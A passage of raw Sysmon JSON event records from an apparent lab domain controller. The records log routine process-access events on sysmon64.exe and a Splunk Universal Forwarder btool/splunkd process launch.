C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3461,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3462,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3463,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3464,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3465,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3466,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3467,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.136\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-001063330500}\r\nTargetProcessId: 3952\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.136","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-001063330500}","TargetProcessId":"3952","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3468,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.152\r\nProcessGuid: {90617006-407D-5F2D-0000-00101F340500}\r\nProcessId: 3068\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-strptime --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407D-5F2D-0000-001063330500}\r\nParentProcessId: 3952\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.152","ProcessGuid":"{90617006-407D-5F2D-0000-00101F340500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-strptime --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 